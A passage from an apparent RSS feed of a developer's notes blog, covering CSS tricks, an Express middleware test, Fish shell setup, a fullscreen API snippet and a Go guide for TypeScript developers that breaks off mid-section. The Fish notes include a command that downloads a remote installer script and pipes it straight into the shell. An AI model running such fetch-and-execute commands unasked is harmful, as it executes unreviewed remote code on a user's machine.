&lt;p&gt;&lt;a href=&quot;http://codepen.io/AllThingsSmitty/pen/zBzXRx&quot;&gt;Demo&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Style &quot;Default&quot; Links&lt;/h2&gt;
&lt;p&gt;Add a style for &quot;default&quot; links:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a[href]:not([class]) {
  color: #008000;
  text-decoration: underline;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now links that are inserted via a CMS, which don&apos;t usually have a &lt;code&gt;class&lt;/code&gt; attribute, will have a distinction without generically affecting the cascade.&lt;/p&gt;
&lt;h2&gt;Consistent Vertical Rhythm&lt;/h2&gt;
&lt;p&gt;Use a universal selector (&lt;code&gt;*&lt;/code&gt;) within an element to create a consistent vertical rhythm:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.intro &amp;gt; * {
  margin-bottom: 1.25rem;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Consistent vertical rhythm provides a visual aesthetic that makes content far more readable.&lt;/p&gt;
&lt;h2&gt;Intrinsic Ratio Boxes&lt;/h2&gt;
&lt;p&gt;To create a box with an intrinsic ratio, all you need to do is apply top or bottom padding to a div:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.container {
  height: 0;
  padding-bottom: 20%;
  position: relative;
}

.container div {
  border: 2px dashed #ddd;
  height: 100%;
  left: 0;
  position: absolute;
  top: 0;
  width: 100%;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using 20% for padding makes the height of the box equal to 20% of its width. No matter the width of the viewport, the child div will keep its aspect ratio (100% / 20% = 5:1).&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://codepen.io/AllThingsSmitty/pen/jALZvE&quot;&gt;Demo&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Style Broken Images&lt;/h2&gt;
&lt;p&gt;Make broken images more aesthetically-pleasing with a little bit of CSS:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;img {
  display: block;
  font-family: sans-serif;
  font-weight: 300;
  height: auto;
  line-height: 2;
  position: relative;
  text-align: center;
  width: 100%;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now add pseudo-elements rules to display a user message and URL reference of the broken image:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;img::before {
  content: &quot;We&apos;re sorry, the image below is broken :(&quot;;
  display: block;
  margin-bottom: 10px;
}

img::after {
  content: &apos;(url: &apos; attr(src) &apos;)&apos;;
  display: block;
  font-size: 12px;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Learn more about styling for this pattern in &lt;a href=&quot;https://github.com/ireade/&quot;&gt;Ire Aderinokun&lt;/a&gt;&apos;s &lt;a href=&quot;http://bitsofco.de/styling-broken-images/&quot;&gt;original post&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Use &lt;code&gt;rem&lt;/code&gt; for Global Sizing; Use &lt;code&gt;em&lt;/code&gt; for Local Sizing&lt;/h2&gt;
&lt;p&gt;After setting the base font size at the root (&lt;code&gt;html { font-size: 100%; }&lt;/code&gt;), set the font size for textual elements to &lt;code&gt;em&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;h2 {
  font-size: 2em;
}

p {
  font-size: 1em;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then set the font-size for modules to &lt;code&gt;rem&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;article {
  font-size: 1.25rem;
}

aside .module {
  font-size: 0.9rem;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now each module becomes compartmentalized and easier to style, more maintainable, and flexible.&lt;/p&gt;
&lt;h2&gt;Hide Autoplay Videos That Aren&apos;t Muted&lt;/h2&gt;
&lt;p&gt;This is a great trick for a custom user stylesheet. Avoid overloading a user with sound from a video that autoplays when the page is loaded. If the sound isn&apos;t muted, don&apos;t show the video:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;video[autoplay]:not([muted]) {
  display: none;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once again, we&apos;re taking advantage of using the &lt;a href=&quot;#use-not-to-applyunapply-borders-on-navigation&quot;&gt;&lt;code&gt;:not()&lt;/code&gt;&lt;/a&gt; pseudo-class.&lt;/p&gt;
&lt;h2&gt;Use &lt;code&gt;:root&lt;/code&gt; for Flexible Type&lt;/h2&gt;
&lt;p&gt;The type font size in a responsive layout should be able to adjust with each viewport. You can calculate the font size based on the viewport height and width using &lt;code&gt;:root&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;:root {
  font-size: calc(1vw + 1vh + 0.5vmin);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now you can utilize the &lt;code&gt;root em&lt;/code&gt; unit based on the value calculated by &lt;code&gt;:root&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;body {
  font: 1rem/1.6 sans-serif;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;http://codepen.io/AllThingsSmitty/pen/XKgOkR&quot;&gt;Demo&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Set &lt;code&gt;font-size&lt;/code&gt; on Form Elements for a Better Mobile Experience&lt;/h2&gt;
&lt;p&gt;To avoid mobile browsers (iOS Safari, &lt;em&gt;et al&lt;/em&gt;.) from zooming in on HTML form elements when a &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; drop-down is tapped, add &lt;code&gt;font-size&lt;/code&gt; to the selector rule:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;input[type=&apos;text&apos;],
input[type=&apos;number&apos;],
select,
textarea {
  font-size: 16px;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:dancer:&lt;/p&gt;
&lt;h2&gt;Use Pointer Events to Control Mouse Events&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/pointer-events&quot;&gt;Pointer events&lt;/a&gt; allow you to specify how the mouse interacts with the element it&apos;s touching. To disable the default pointer event on a button, for instance:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.button-disabled {
  opacity: 0.5;
  pointer-events: none;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It&apos;s that simple.&lt;/p&gt;
&lt;h2&gt;Set &lt;code&gt;display: none&lt;/code&gt; on Line Breaks Used as Spacing&lt;/h2&gt;
&lt;p&gt;As &lt;a href=&quot;https://twitter.com/csswizardry/status/1170835532584235008&quot;&gt;Harry Roberts pointed out&lt;/a&gt;, this can help prevent CMS users from using extra line breaks for spacing:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;br + br {
  display: none;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Use &lt;code&gt;:empty&lt;/code&gt; to Hide Empty HTML Elements&lt;/h2&gt;
&lt;p&gt;If you have HTML elements that are empty, i.e., the content has yet to be set either by a CMS or dynamically injected (e.g., &lt;code&gt;&amp;lt;p class=&quot;error-message&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt;) and it&apos;s creating unwanted space on your layout, use the &lt;code&gt;:empty&lt;/code&gt; pseudo-class to hide the element on the layout.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;:empty {
  display: none;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Keep in mind that elements with whitespace aren&apos;t considered empty, e.g., &lt;code&gt;&amp;lt;p class=&quot;error-message&quot;&amp;gt; &amp;lt;/p&amp;gt;&lt;/code&gt;.&lt;/p&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>Express middleware testing</title><link>https://zander.wtf/notes/express-middleware-testing/</link><guid isPermaLink="true">https://zander.wtf/notes/express-middleware-testing/</guid><description>Heads up: reqresnext is barely maintained these days — node-mocks-http or supertest are the ecosystem standards now. The pattern below still works though.</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Heads up: &lt;code&gt;reqresnext&lt;/code&gt; is barely maintained these days — &lt;a href=&quot;https://github.com/eugef/node-mocks-http&quot;&gt;node-mocks-http&lt;/a&gt; or &lt;a href=&quot;https://github.com/ladjs/supertest&quot;&gt;supertest&lt;/a&gt; are the ecosystem standards now. The pattern below still works though.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import reqresnext from &apos;reqresnext&apos;

import { userIdChecker } from &apos;./userIdMiddleware&apos;

const DOMAIN = &apos;https://example.com&apos;
const VALID_USER_ID = &apos;103003&apos;
const jwtToken = &apos;fake.jwt.token&apos;

describe(&apos;Given a userIdChecker middleware&apos;, () =&amp;gt; {
  describe(`when it is called with matching userId&apos;s`, () =&amp;gt; {
    describe(&apos;when the request has a user_id as a query param&apos;, () =&amp;gt; {
      it(&apos;should not modify the request&apos;, () =&amp;gt; {
        const originalRequest = `${DOMAIN}/api/fx-api/user/103003?user_id=103003`
        const path = `/api/fx-api/user/${VALID_USER_ID}?user_id=${VALID_USER_ID}`
        const { req, res, next } = reqresnext({
          url: `${DOMAIN}${path}`,
          originalUrl: `${DOMAIN}${path}`,
          path,
          cookies: {
            jwt_id_token: jwtToken,
          },
        })

        userIdChecker(req, res, next)

        expect(req.url).toEqual(originalRequest)
      })
    })

    describe(&apos;when the request has a userId in the request body&apos;, () =&amp;gt; {
      it(&apos;should not modify the request&apos;, () =&amp;gt; {
        const path = `/api/fx-api/user/${VALID_USER_ID}`
        const { req, res, next } = reqresnext({
          url: `${DOMAIN}${path}`,
          originalUrl: `${DOMAIN}${path}`,
          path,
          cookies: {
            jwt_id_token: jwtToken,
          },
          body: {
            userId: VALID_USER_ID,
          },
        })

        userIdChecker(req, res, next)

        expect(req.body.userId).toEqual(VALID_USER_ID)
      })
    })
  })

  describe(`when it is called with mismatching userId&apos;s`, () =&amp;gt; {
    const WRONG_USER_ID = &apos;12345&apos;

    it(&apos;should forbid the API call&apos;, () =&amp;gt; {
      const originalRequest = `${DOMAIN}/api/fx-api/user/103003?user_id=${WRONG_USER_ID}`
      const path = `/api/fx-api/user/${VALID_USER_ID}?user_id=${WRONG_USER_ID}`
      const { req, res, next } = reqresnext({
        url: `${DOMAIN}${path}`,
        originalUrl: `${DOMAIN}${path}`,
        path,
        cookies: {
          jwt_id_token: jwtToken,
        },
      })

      userIdChecker(req, res, next)

      expect(req.url).toEqual(originalRequest)
      expect(res.statusCode).toEqual(403)
      expect(JSON.parse(res.body)).toEqual({ message: &apos;Forbidden&apos; })
    })

    describe(&apos;when the request has a userId in the request body&apos;, () =&amp;gt; {
      it(&apos;should forbid the API call&apos;, () =&amp;gt; {
        const path = `/api/fx-api/user/${VALID_USER_ID}`
        const { req, res, next } = reqresnext({
          url: `${DOMAIN}${path}`,
          originalUrl: `${DOMAIN}${path}`,
          path,
          cookies: {
            jwt_id_token: jwtToken,
          },
          body: {
            userId: WRONG_USER_ID,
          },
        })

        userIdChecker(req, res, next)

        expect(res.statusCode).toEqual(403)
        expect(JSON.parse(res.body)).toEqual({ message: &apos;Forbidden&apos; })
      })
    })
  })
})
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><category>node</category><category>testing</category><author>Zander Martineau</author></item><item><title>Fish shell</title><link>https://zander.wtf/notes/fish-shell/</link><guid isPermaLink="true">https://zander.wtf/notes/fish-shell/</guid><description>My Fish config: https://github.com/mrmartineau/fish Change fish settings: Reload fish shell Switching to fish? If you wish to use fish (or any other shell)…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;My Fish config: https://github.com/mrmartineau/fish&lt;/p&gt;
&lt;p&gt;Change fish settings:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fish_config
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Reload fish shell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fish
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Switching to fish?&lt;/h2&gt;
&lt;p&gt;If you wish to use fish (or any other shell) as your default shell, you need to enter your new shell&apos;s executable in two places.&lt;/p&gt;
&lt;p&gt;Add the shell to &lt;code&gt;/etc/shells&lt;/code&gt; with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo /usr/local/bin/fish | sudo tee -a /etc/shells
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;ℹ️ homebrew may install fish to &lt;code&gt;/opt/homebrew/bin/fish&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Change your default shell with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;chsh -s /usr/local/bin/fish
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;This assumes you installed fish to &lt;code&gt;/usr/local/bin&lt;/code&gt;, which is the default location when you&apos;ve compiled it yourself. If you installed it with a package manager, the usual location is &lt;code&gt;/usr/bin/fish&lt;/code&gt;, but package managers typically already add it to &lt;code&gt;/etc/shells&lt;/code&gt;. Just substitute the correct location.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;(To change it back to another shell, substitute &lt;code&gt;/usr/local/bin/fish&lt;/code&gt; with &lt;code&gt;/bin/bash&lt;/code&gt;, &lt;code&gt;/bin/tcsh&lt;/code&gt; or &lt;code&gt;/bin/zsh&lt;/code&gt; as appropriate in the steps above.)&lt;/p&gt;
&lt;p&gt;http://fishshell.com/docs/current/tutorial.html
https://github.com/jorgebucaran/fish-cookbook
https://github.com/ghaiklor/iterm-fish-fisher-osx&lt;/p&gt;
&lt;h2&gt;Fish features&lt;/h2&gt;
&lt;h3&gt;Functions&lt;/h3&gt;
&lt;p&gt;Create new functions in &lt;code&gt;~/.config/fish/functions&lt;/code&gt; e.g. &lt;code&gt;xyz.fish&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Aliases&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;alias&lt;/code&gt; is a simple wrapper for the &lt;code&gt;function&lt;/code&gt; builtin, which creates a function wrapping a command.&lt;/p&gt;
&lt;p&gt;https://fishshell.com/docs/current/cmds/alias.html&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;alias gco &apos;git checkout&apos;
alias undocommit &apos;git reset HEAD~1&apos;
alias ya &apos;yarn add&apos;
alias yad &apos;yarn add -D&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;abbr&lt;/h3&gt;
&lt;p&gt;If you add an &lt;a href=&quot;https://fishshell.com/docs/current/cmds/abbr.html&quot;&gt;abbreviation&lt;/a&gt; instead of an alias you&apos;ll get better auto-complete. In fish abbr more closely matches the behaviour of a bash alias.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;abbr -a gco git checkout
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Will add a new abbreviation &lt;code&gt;gco&lt;/code&gt; that expands to &lt;code&gt;git checkout&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Fish plugins&lt;/h2&gt;
&lt;h3&gt;Fisher&lt;/h3&gt;
&lt;p&gt;https://github.com/jorgebucaran/fisher&lt;/p&gt;
&lt;p&gt;Plugins are listed in the &lt;code&gt;$__fish_config_dir/fish_plugins&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;Install fisher:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -sL https://git.io/fisher | source &amp;amp;&amp;amp; fisher install jorgebucaran/fisher
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Install a plugin:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fisher install jorgebucaran/nvm.fish@2.1.0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Listing plugins&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fisher list
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Other info&lt;/h2&gt;
&lt;h3&gt;Set shell variables&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;set -xg PATH /usr/local/sbin $PATH
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;https://fishshell.com/docs/current/cmds/set.html&lt;/p&gt;
&lt;h4&gt;Adding to &lt;code&gt;$PATH&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Use &lt;a href=&quot;https://fishshell.com/docs/current/cmds/fish_add_path.html&quot;&gt;&lt;code&gt;fish_add_path&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fish_add_path /usr/local/sbin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;https://fishshell.com/docs/current/cmds/fish_add_path.html&lt;/p&gt;
&lt;h4&gt;List all $PATH entries&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;string join \n $PATH | nl
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Using &lt;code&gt;ssh-agent&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;When needing to add ssh keys to Github, &lt;a href=&quot;https://docs.github.com/en/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent&quot;&gt;the docs&lt;/a&gt; suggest running &lt;code&gt;eval &quot;$(ssh-agent -s)&quot;&lt;/code&gt; but that does not work in fish. Run this instead:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;command ssh-agent -s
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Executing Bash&lt;/h3&gt;
&lt;p&gt;If fish is your default shell and you want to copy commands from the internet that are written in bash (the default shell on most systems), you can proceed in one of the following two ways:&lt;/p&gt;
&lt;p&gt;Use the bash command with the -c switch to read from a string:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ bash -c &apos;some bash command&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use bash without a switch to open a bash shell you can use and exit afterward:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; bash
$ some bash command
$ exit

&amp;gt; _
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>cli</category><author>Zander Martineau</author></item><item><title>Fullscreen video</title><link>https://zander.wtf/notes/fullscreen/</link><guid isPermaLink="true">https://zander.wtf/notes/fullscreen/</guid><description>The old vendor-prefix cascade (mozRequestFullscreen, webkitRequestFullscreen, msRequestFullscreen) is dead — unprefixed requestFullscreen() is baseline…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The old vendor-prefix cascade (&lt;code&gt;mozRequestFullscreen&lt;/code&gt;, &lt;code&gt;webkitRequestFullscreen&lt;/code&gt;, &lt;code&gt;msRequestFullscreen&lt;/code&gt;) is dead — unprefixed &lt;code&gt;requestFullscreen()&lt;/code&gt; is baseline everywhere now (Safari has had it since 16.4). So this is all you need:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const toggleFullscreen = (elem: HTMLElement) =&amp;gt; {
  if (document.fullscreenElement) {
    return document.exitFullscreen()
  }

  return elem.requestFullscreen().catch((error) =&amp;gt; {
    console.error(
      `Error attempting to enable fullscreen: ${error.message} (${error.name})`
    )
  })
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;requestFullscreen()&lt;/code&gt; returns a promise, so &lt;code&gt;.catch()&lt;/code&gt; is the place to handle the user-gesture and permission failures. &lt;code&gt;document.fullscreenElement&lt;/code&gt; tells you if something is already fullscreen (and what).&lt;/p&gt;
&lt;p&gt;One remaining caveat: iPhone Safari only supports fullscreen on &lt;code&gt;&amp;lt;video&amp;gt;&lt;/code&gt; elements — you can&apos;t fullscreen an arbitrary div there.&lt;/p&gt;
</content:encoded><category>javascript</category><category>typescript</category><author>Zander Martineau</author></item><item><title>Golang for TypeScript developers</title><link>https://zander.wtf/notes/golang-for-ts-devs/</link><guid isPermaLink="true">https://zander.wtf/notes/golang-for-ts-devs/</guid><description>A guide to Go (Golang) for developers coming from TypeScript/JavaScript. Key differences from TypeScript | Concept | TypeScript | Go |…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A guide to Go (Golang) for developers coming from TypeScript/JavaScript.&lt;/p&gt;
&lt;h2&gt;Key differences from TypeScript&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Concept&lt;/th&gt;
&lt;th&gt;TypeScript&lt;/th&gt;
&lt;th&gt;Go&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Typing&lt;/td&gt;
&lt;td&gt;Structural, gradual&lt;/td&gt;
&lt;td&gt;Structural, static&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Compilation&lt;/td&gt;
&lt;td&gt;Transpiles to JS&lt;/td&gt;
&lt;td&gt;Compiles to native binary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Null handling&lt;/td&gt;
&lt;td&gt;&lt;code&gt;null&lt;/code&gt; / &lt;code&gt;undefined&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Zero values, no null&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Generics&lt;/td&gt;
&lt;td&gt;Full support&lt;/td&gt;
&lt;td&gt;Added in Go 1.18&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Package manager&lt;/td&gt;
&lt;td&gt;npm/yarn/pnpm&lt;/td&gt;
&lt;td&gt;Go modules&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Concurrency&lt;/td&gt;
&lt;td&gt;Async/await, Promises&lt;/td&gt;
&lt;td&gt;Goroutines, channels&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Variables and constants&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const name: string = &quot;Alice&quot;
let age: number = 30
const isActive = true // type inference
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Go&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Explicit type
var name string = &quot;Alice&quot;
var age int = 30

// Type inference (short declaration, most common)
name := &quot;Alice&quot;
age := 30
isActive := true

// Constants
const MaxSize = 100
const (
    StatusOK = 200
    StatusNotFound = 404
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Basic types&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;TypeScript&lt;/th&gt;
&lt;th&gt;Go&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;string&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;string&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;number&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;int&lt;/code&gt;, &lt;code&gt;int8&lt;/code&gt;, &lt;code&gt;int16&lt;/code&gt;, &lt;code&gt;int32&lt;/code&gt;, &lt;code&gt;int64&lt;/code&gt;, &lt;code&gt;float32&lt;/code&gt;, &lt;code&gt;float64&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;boolean&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;bool&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;any&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;interface{}&lt;/code&gt; or &lt;code&gt;any&lt;/code&gt; (Go 1.18+)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;null&lt;/code&gt; / &lt;code&gt;undefined&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Zero values (no null)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Array&amp;lt;T&amp;gt;&lt;/code&gt; / &lt;code&gt;T[]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[]T&lt;/code&gt; (slice) or &lt;code&gt;[n]T&lt;/code&gt; (array)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Record&amp;lt;K, V&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;map[K]V&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Zero values (instead of null/undefined)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;var s string   // &quot;&quot;
var i int      // 0
var b bool     // false
var slice []int // nil (but usable, len=0)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Functions&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function greet(name: string): string {
    return `Hello, ${name}!`
}

const add = (a: number, b: number): number =&amp;gt; a + b

// Optional parameters
function log(message: string, level?: string): void {
    console.log(level ?? &quot;INFO&quot;, message)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Go&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Basic function
func greet(name string) string {
    return &quot;Hello, &quot; + name + &quot;!&quot;
}

// Multiple return values (very common pattern)
func divide(a, b float64) (float64, error) {
    if b == 0 {
        return 0, errors.New(&quot;division by zero&quot;)
    }
    return a / b, nil
}

// Named return values
func getUser(id int) (user User, found bool) {
    // user and found are pre-declared
    return
}

// Variadic functions (like rest parameters)
func sum(nums ...int) int {
    total := 0
    for _, n := range nums {
        total += n
    }
    return total
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Go has no optional parameters. Use variadic, structs with options, or functional options pattern instead.&lt;/p&gt;
&lt;h2&gt;Structs (like interfaces/classes)&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;interface User {
    id: number
    name: string
    email?: string
}

class UserService {
    private users: User[] = []

    addUser(user: User): void {
        this.users.push(user)
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Go&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Struct (like interface + class combined)
type User struct {
    ID    int
    Name  string
    Email string // No optional fields; use pointer for &quot;nullable&quot;
}

// Methods are defined outside the struct
type UserService struct {
    users []User
}

// Method with receiver (like class method)
func (s *UserService) AddUser(user User) {
    s.users = append(s.users, user)
}

// Usage
service := &amp;amp;UserService{}
service.AddUser(User{ID: 1, Name: &quot;Alice&quot;})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Interfaces&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;interface Reader {
    read(buffer: Uint8Array): number
}

interface Writer {
    write(data: Uint8Array): number
}

// Intersection
type ReadWriter = Reader &amp;amp; Writer
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Go&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Interfaces are implicit (no &quot;implements&quot; keyword)
type Reader interface {
    Read(p []byte) (n int, err error)
}

type Writer interface {
    Write(p []byte) (n int, err error)
}

// Embedding (like intersection)
type ReadWriter interface {
    Reader
    Writer
}

// Any type with these methods automatically implements the interface
type MyFile struct{}

func (f *MyFile) Read(p []byte) (int, error) {
    return 0, nil
}
// MyFile now implements Reader
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Error handling&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;try {
    const data = await fetchData()
} catch (error) {
    console.error(&quot;Failed:&quot;, error)
}

// Or with Result pattern
type Result&amp;lt;T, E&amp;gt; = { ok: true; value: T } | { ok: false; error: E }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Go&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Errors are values, not exceptions
result, err := doSomething()
if err != nil {
    return fmt.Errorf(&quot;failed to do something: %w&quot;, err)
}

// Creating errors
import &quot;errors&quot;

var ErrNotFound = errors.New(&quot;not found&quot;)

func findUser(id int) (*User, error) {
    if id &amp;lt;= 0 {
        return nil, ErrNotFound
    }
    // ...
    return &amp;amp;user, nil
}

// Error wrapping (like cause chains)
if err != nil {
    return fmt.Errorf(&quot;findUser(%d): %w&quot;, id, err)
}

// Checking error types
if errors.Is(err, ErrNotFound) {
    // handle not found
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Arrays and slices&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const arr: number[] = [1, 2, 3]
arr.push(4)
const doubled = arr.map(n =&amp;gt; n * 2)
const evens = arr.filter(n =&amp;gt; n % 2 === 0)
const sum = arr.reduce((a, b) =&amp;gt; a + b, 0)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Go&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Slice (dynamic, like JS array)
arr := []int{1, 2, 3}
arr = append(arr, 4)

// No built-in map/filter/reduce - use loops
doubled := make([]int, len(arr))
for i, n := range arr {
    doubled[i] = n * 2
}

// Filter
var evens []int
for _, n := range arr {
    if n%2 == 0 {
        evens = append(evens, n)
    }
}

// Reduce
